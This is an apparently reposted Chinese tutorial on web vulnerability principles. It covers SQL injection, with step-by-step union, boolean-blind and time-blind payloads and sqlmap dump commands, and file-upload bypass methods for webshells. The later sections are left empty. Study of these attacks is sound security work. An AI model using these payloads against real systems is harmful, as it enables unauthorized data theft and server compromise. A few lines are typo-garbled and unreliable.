常见web漏洞原理整理

news2025/4/3 17:04:46

文章目录

  • 一、SQL注入
    • 1.1SQL注入漏洞原理
    • 1.2 SQL注入的两个关键点
    • 1.3 与Mysql注入相关的知识点
    • 1.4 SQL注入的主要分类
    • 1.5 SQL注入的流程
      • 1.5.1 普通SQL注入
      • 1.5.2 盲注
    • 1.6 SQL注入总结
  • 二、文件上传
    • 2.1 文件上传漏洞原理
    • 2.2 客户端检测及绕过(JS检测与绕过)
    • 2.3 服务端检测
      • 2.3.1 后缀名检测与绕过
      • 2.3.2 MIME类型检测与绕过
      • 2.3.3 文件内容检测与绕过
      • 2.3.4 00截断检测与绕过
      • 2.3.5 条件竞争检测与绕过
  • 三、CSRF
  • 四、SSRF
  • 五、反序列化漏洞

一、SQL注入

1.1SQL注入漏洞原理

  Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数时攻击者可控的,并且参数带入数据库查询,攻击者可以通关构造不同的SQL语句来实现对数据库的任意操作。
  本质:把用户输入的数据当作代码执行,违背了"数据与代码分离"的原则。

1.2 SQL注入的两个关键点

  • 参数用户可控:前端 传入后端的参数内容是用户可以控制的。
  • 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。

1.3 与Mysql注入相关的知识点

  在Mysql 5.0 版本之后,Mysql默认在数据库中存在一个Information_schema数据库,这个数据库里面存在两张表。一个是tables表,里面存有所有的表名和数据库名;另一个是columns表,里面存有所有的字段名,字段所属的表名,字段所属的库名。以下是关于Information_schema数据库的拓扑图:
在这里插入图片描述

1.4 SQL注入的主要分类

(1)注入点类型

  • 字符型注入
  • 数字型注入

(2)按照执行效果

  • 普通SQL注入:页面上有回显。
  • 盲注:布尔盲注(只会返回两种页面)、时间盲注(页面会延迟一段时间才显示)

1.5 SQL注入的流程

1.5.1 普通SQL注入

  1. 判断是否存在SQL注入漏洞
  2. 判断是字符型注入还是数字型注入
  3. 判断(查询结果)字段数
  4. 查看回显点
  5. 查看数据库名
  6. 查看表名
  7. 查看字段名
  8. 查看字段内容

1.5.2 盲注

  1. 判断是否存在SQL注入漏洞
  2. 判断是字符型注入还是数字型注入
  3. 判断(查询结果)字段数
  4. 猜数据库名长度、猜数据库名
  5. 猜表的个数、逐个猜表名
  6. 逐一猜表中的字段个数、长度、名称
  7. 猜字段内容

1.6 SQL注入总结

  1. 判断是否存在SQL注入
	id=1' #   //参数后加单引号,报错,说明有注入点
  1. 判断字符型注入还是数字型注入
    在这里插入图片描述
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
  1. 普通SQL注入实例
	id=1' #   //报错,说明有注入点
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

	id=1 order by <数字> # //判断字段数
	id=1 union select 1,2,3, ... #   //查看回显点
	id=1 union select 1,2,database(), ... #   //查看数据库名
	id=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') #   //查看表名
	id=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' #  //查看字段名
	id=1 union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) #   //查看字段内容
  1. 布尔盲注实例
	id=1' # //报错,说明有注入点
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
	
	id=1 and length(database())=1 # //判断数据库名长度
	id=1 and ascii(substr(database(),1,1))=98 # //猜数据库名
	id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=1 # // 猜表的个数
	id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103 # // 猜第一个表名的长度
	id=1 and (select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # // 猜user表中的字段个数
	id=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7 # //猜user表中第一个字段的长度
	id=1 and ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117 # //猜user表中第一个字段的第一个字母
	id=1 and length((select user from dvwa.users limit 0,1))=5 # // 猜user表中user字段内容的长度
	id=1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # //猜user表中中user字段值的首字母
  1. 时间盲注实例
	id=1 and sleep(5) # //数字型则等待5秒
	id=1' and sleep(5) # //字符型则等待5秒
	id=1 and if(length(database())=4,sleep(5),1) # //猜数据库名长度
	id=1 and if(ascii((substr(database(),1,1)))=100,sleep(5),1) # //猜数据库名
	id=1 and if(select count(table_name) from information_schema.tables where table_schema=database(),sleep(5),1)=1 # // 猜表的个数
	id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103,sleep(5),1) # // 猜第一个表名的长度
	id=1 and if((select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8,sleep(5),1) # // 猜user表中的字段个数
	id=1 and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7,sleep(5),1) # //猜user表中第一个字段的长度
	id=1 and if(ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117,sleep(5),1) # //猜user表中第一个字段的第一个字母
	id=1 and if(length((select user from dvwa.users limit 0,1))=5,sleep(5),1) # // 猜user表中user字段内容的长度
	id=1 and if(ascii(substr((select user from dvwa.users limit 0,1),1,1))=97,sleep(5),1) # //猜user表中中user字段值的首字母
  1. Sqlmap的用法
sqlmap
sqlmap -u "url"  //-u选项是检测注入点
sqlmap -u "url" --dbs  //--dbs选项是列出所有数据库名
sqlmap -u "url" --current-db  //--current-db选项是列出当前数据库的名字
sqlmap -u "url" -D "数据库名" --tables //-D是指定一个数据库  --tables是列出这个数据库的所有表名
sqlmap -u "url" -D "数据库名" -T "表名" --columns //-T是指定表名  --columns是列出所有的字段名
sqlmap -u "url" -D "数据库名" -T "表名" -C "字段名" --dumo //-C是指定字段  --dumo是列出字段内容

二、文件上传

2.1 文件上传漏洞原理

  上传文件时,如果服务器端未对客户端上传的文件进行严格的验证和过滤。就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、php、jsp等格式的文件)。

2.2 客户端检测及绕过(JS检测与绕过)

  客户端(Client):或称为用户端(前端),与服务器相对应。由于客户端对于文件上传漏洞的防御是通过JS代码实现的,所以客户端检测与绕过也称为JS检测与绕过。

  由于后端PHP代码没有对文件做任何检测,所以只要绕过前端JS的校验就可以上传WebShell。绕过方法:

  • 删除浏览器事件;
  • 禁用JS;
  • 利用BurpSuite抓包修改文件后缀名。

2.3 服务端检测

2.3.1 后缀名检测与绕过

(1)黑名单绕过

  1. 名单列表绕过
      有些中间件允许解析其他文件后缀名,如asa、cer之类的或在httpd.conf配置文件中,配置如下代码,则能解析php、php3、phtml文件,所以上传一个后缀名为php3、phptml的文件即可。
    在这里插入图片描述
  2. Windows特性
      一些特殊的文件名命名方式在windows下是不被允许的,利用BurpSuite抓包修改后缀名,绕过验证后上传文件,windows会自动去掉后面添加的,但要注意Unix/Linux系统没有这个特性。比如:
  • 末尾的点(.) 如1.php.
  • 空格( ),如1.php
  • :: D A T A ,如 ‘ 1. p h p : : DATA,如`1.php:: DATA,如‘1.php::DATA`

(2)白名单绕过
白名单绕过需要配合文件包含漏洞或者解析漏洞。

(3).htaccess文件攻击

  .htaccess文件是Apache服务器中的分布式配置文件(IIS中不存在该文件),该配置文件会覆盖Apache服务器的全局配置,作用于当前目录及其子目录。

  • 如果一个web应用允许上传.htaccess文件,那就意味着攻击者可以更改Apche的配置。

  在httpd.conf配置文件中,AllowOverride参数就是指明Apache服务器是否去找**.htacess**文件作为配置文件,如果设置为none,那么服务器将忽略.htacess文件;如果设置为All,那么所有在.htaccess文件里有的指令都将被重写,即允许.htaccess文件覆盖掉Apache 的配置。

(4)APahce解析机制
  Apche解析机制:从右往左开始解析文件后缀,若后缀名不可识别,则继续判断直到遇到可解析的后缀为止。

2.3.2 MIME类型检测与绕过

  MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。常见的MIME 类型如下:

文件拓展名Mime-Type
.jsapplication/x-javascript
.htmltest/html
.jpgimage/jpeg
.pngimage/png
.pdfapplication/pdf

2.3.3 文件内容检测与绕过

检测原理
  利用getimagesize()函数获取图片的宽高等信息,如果上传的不是图片,那么则获取不到信息。服务端主要检测文件幻数:

类型文件幻数
JPGFF D8 FF E0 00 10 4A 46 49 46
GIF47 49 46 38 39 61 (GIF89a)
PNG89 50 4E 47

绕过方式
  在脚本文件开头补充图片对应的头部值,或在图片后写入脚本代码
在这里插入图片描述

2.3.4 00截断检测与绕过

检测原理
  截断漏洞出现的核心就是chr(0),这个字符不为空 (Null),也不是空字符 (" "),更不是空格。当程序在输出含有 chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致了漏洞产生。由于00代表结束符,PHP会把00后面的所有字符删除。

截断条件
  PHP版本小于5.3.4、magic_quotes_gpc 为OFF状态。

2.3.5 条件竞争检测与绕过

检测原理
  一些网站文件检测逻辑是先允许上传任意文件,然后检查文件内容是否包含可执行脚本,如果包含则删除。

绕过方式
  利用成功上传到删除文件的时间差,上传一个.php文件,在未删除之前立即访问,则会自动生成一个新php文件,新文件不会被删除。

…未完待续

三、CSRF

四、SSRF

五、反序列化漏洞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1028208.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

虹科CiA演讲回顾 | CAN(FD)总线协议转换原理及其在汽车行业的应用

2023年9月14日&#xff0c;CiA中国技术日直播活动在线上举行&#xff0c;该活动致力于开展与CAN总线相关领域的技术工作&#xff0c;演讲者都是CAN领域的专家。虹科首席工程师陈皓受邀参与活动&#xff0c;并带来以“CAN和CAN FD总线协议转换”为主题的演讲。 本次演讲内容主要…

【完美世界】烧烤小队!天元甲胄,石昊铭刻万灵图,斩杀仙殿传人

Hello,小伙伴们&#xff0c;我是小郑继续为大家深度解析完美世界。 完美世界动画最新集预告更新了&#xff0c;天元秘境的最高殿堂正式开启&#xff0c;里面有无数珍宝&#xff0c;更有无上传承&#xff0c;于是又将是一场腥风血雨的争夺战。尤其是魔王荒与仙殿传人的终极决战&…

2D游戏开发和3D游戏开发有什么不同?

2D游戏开发和3D游戏开发是两种不同类型的游戏制作方法&#xff0c;它们之间有一些显著的区别&#xff1a; 1. 图形和视觉效果&#xff1a; 2D游戏开发&#xff1a; 2D游戏通常使用二维图形&#xff0c;游戏世界和角色通常在一个平面上显示。这种类型的游戏具有平面的外观&…

Docker文档阅读笔记-How to Commit Changes to a Docker Image with Examples

介绍 在工作中使用Docker镜像和容器&#xff0c;用得最多的就是如何提交修改过的Docker镜像。当提交修改后&#xff0c;就会在原有的镜像上创建一个新的镜像。 本博文说明如何提交一个新的Docker镜像。 前提 ①有一个可以直接访问服务器的运行终端&#xff1b; ②帐号需要r…

10.模板方法模式

模板方法模式&#xff0c;定义一个操作中的算法的骨架&#xff0c;而将一些步骤延迟到子类中。模板方法使得子类可以不改变一个算法的结构即可重定义该算法的某些特定步骤。 一 模板方法模式练习-试卷 UML图 测试代码 #include <iostream> using namespace std;class T…

红帽社区论坛

https://access.redhat.com/ https://access.redhat.com/ 是红帽公司的官方网站&#xff0c;提供了许多与红帽企业级Linux发行版及其他开源软件相关的服务和资源。以下是该网站的一些主要功能&#xff1a;文档和知识库&#xff1a;提供了关于红帽产品的详细文档、手册、技术文章…

Blender 学习笔记(一)

文章目录 视图的移动右侧小键摄像机跟随调整摄像机的窗口比例当前角度变成拍摄视角视图&#xff08;正视图&#xff0c;顶视图&#xff0c;侧视图&#xff09;物体的对焦物体的移动&#xff0c;旋转&#xff0c;放大与缩小加选框选全选添加物体物体删除 视图的移动 shift 鼠标…

JavaScript之观察者模式

本文作者为 360 奇舞团前端开发工程师 概述 在日常开发中&#xff0c;开发人员经常使用设计模式来解决软件设计中的问题。其中&#xff0c;观察者模式是一种常用的模式&#xff0c;它可以帮助开发人员更好地处理对象之间的通信。在 JavaScript 中&#xff0c;观察者模式的应用非…

关于第一届全球电子纸创新应用金奖征集评选及报名指南

重要通知 &#xff5c;关于第一届全球电子纸创新应用金奖征集评选及报名指南https://mp.weixin.qq.com/s/RWsZtmJ20-NZXMG0k0rwPA?wxwork_useridEPIA 从2004年&#xff0c;Sony推出全球首款电纸书阅读器至今20载&#xff0c;这期间&#xff0c;到底诞生了多少种创新产品&#…

国外访问学者面签需要注意什么?

国外访问学者面签是前往国外进行学术研究或合作的关键一步&#xff0c;因此需要谨慎准备。以下是知识人网小编整理的一些需要注意的重要事项&#xff0c;以确保面签顺利进行&#xff1a; 1.签证申请材料准备&#xff1a;首先&#xff0c;要仔细阅读所申请国家的签证要求&#x…

【Git】02-Git常见应用

文章目录 1. 删除不需要分支2. 修改最新Commit的Message3. 修改之前Commit的Message4. 连续多个Commit整理为一个5. 不连续的Commit整理为一个6. 比较暂存区和HEAD中文件差异7. 比较工作区和暂存区中文件差异8. 将暂存区恢复为HEAD相同9. 工作区文件恢复和暂存区相同10. 取消暂…

git提示:remote origin already exists

目录 问题场景 问题原因 问题解决 问题场景 在GitLab中新建仓库后&#xff0c;然后将本地项目提交提示&#xff1a;remote origin already exists. 问题原因 error: remote origin already exists. 错误&#xff1a;远程源点已存在&#xff08;翻译&#xff09; 出现该错误的…

华为云云耀云服务器L实例评测|基于L实例安装Prometheus+Grafana插件实现数据可视化监控

文章目录 一、云耀云服务器介绍二、安装Prometheus创建prometheus.service配置文件启动prometheus服务查看prometheus服务进程三、安装node_exporter下载node_exporter组件包创建node_exporter.service配置文件启动node_exproter服务配置prometheus.yml文件访问Prometheus四、安…

蓝桥杯每日一题2023.9.16

蓝桥杯2022年第十三届省赛真题-X进制减法 - C语言网 (dotcpp.com) 题目描述 进制规定了数字在数位上逢几进一。 X 进制是一种很神奇的进制&#xff0c;因为其每一数位的进制并不固定&#xff01;例如说某种 X 进制数&#xff0c;最低数位为二进制&#xff0c;第二数位为十进…

AR技术软件开发网站PbootCMS模板源码 支持手机端

AR技术软件开发网站PbootCMS模板&#xff08;带手机端&#xff09;- 优化SEO效果 模板简介&#xff1a; 这是基于PbootCMS内核开发的模板&#xff0c;专为软件开发和智能科技类企业设计。该模板具有简洁简单的页面设计&#xff0c;易于管理&#xff0c;并附带测试数据。 模板…

一款固定资产设备管理系统、对常用资产设备进行信息化管理

一、开源项目简介 EAM固定资产设备管理系统&#xff0c;满足中小企业基本需求&#xff0c;对常用资产设备进行信息化管理&#xff0c;包含自定义支持各类设备、自带导入导出、维护工作统计、采购管理、文档管理、合同管理等功能。 实现企业对资产的基本管理,包含对资产的登记、…

6.2 Sunday搜索内存特征

Sunday 算法是一种字符串搜索算法&#xff0c;由Daniel M.Sunday于1990年开发&#xff0c;该算法用于在较长的字符串中查找子字符串的位置。算法通过将要搜索的模式的字符与要搜索的字符串的字符进行比较&#xff0c;从模式的最左侧位置开始。如果发现不匹配&#xff0c;则算法…

什么是IoT数字孪生?

数字孪生是资产或系统的实时虚拟模型&#xff0c;它使用来自连接的物联网传感器的数据来创建数字表示。数字孪生允许您从任何地方实时监控设备、资产或流程。数字孪生用于多种目的&#xff0c;例如分析性能、监控问题或在实施之前运行测试。从物联网数字孪生中获得的见解使用户…

软件测试 —— 答疑篇

什么是软件测试&#xff1a; 软件测试是不是就是找 bug &#xff1f; 软件测试就是证明软件不存在错误的过程 软件测试就是为了证明程序能够正确运行 刚新买来一部手机&#xff0c;我们要干什么&#xff1f; 一场考试 , 做完一遍题目之后 , 进行一遍检查 , 就是在 "…

迅为RK3399开发板创建android工程

打开 AndroidStudio 软件&#xff0c;点击“Start a new Android Studio project”新建一个 Native C工程&#xff08;因为我们要调用本地库&#xff0c;所以要创建这个 C实例工程&#xff09;&#xff0c;点击“Next” 2.填写创建信息&#xff0c;如下图所示。最后点击“finis…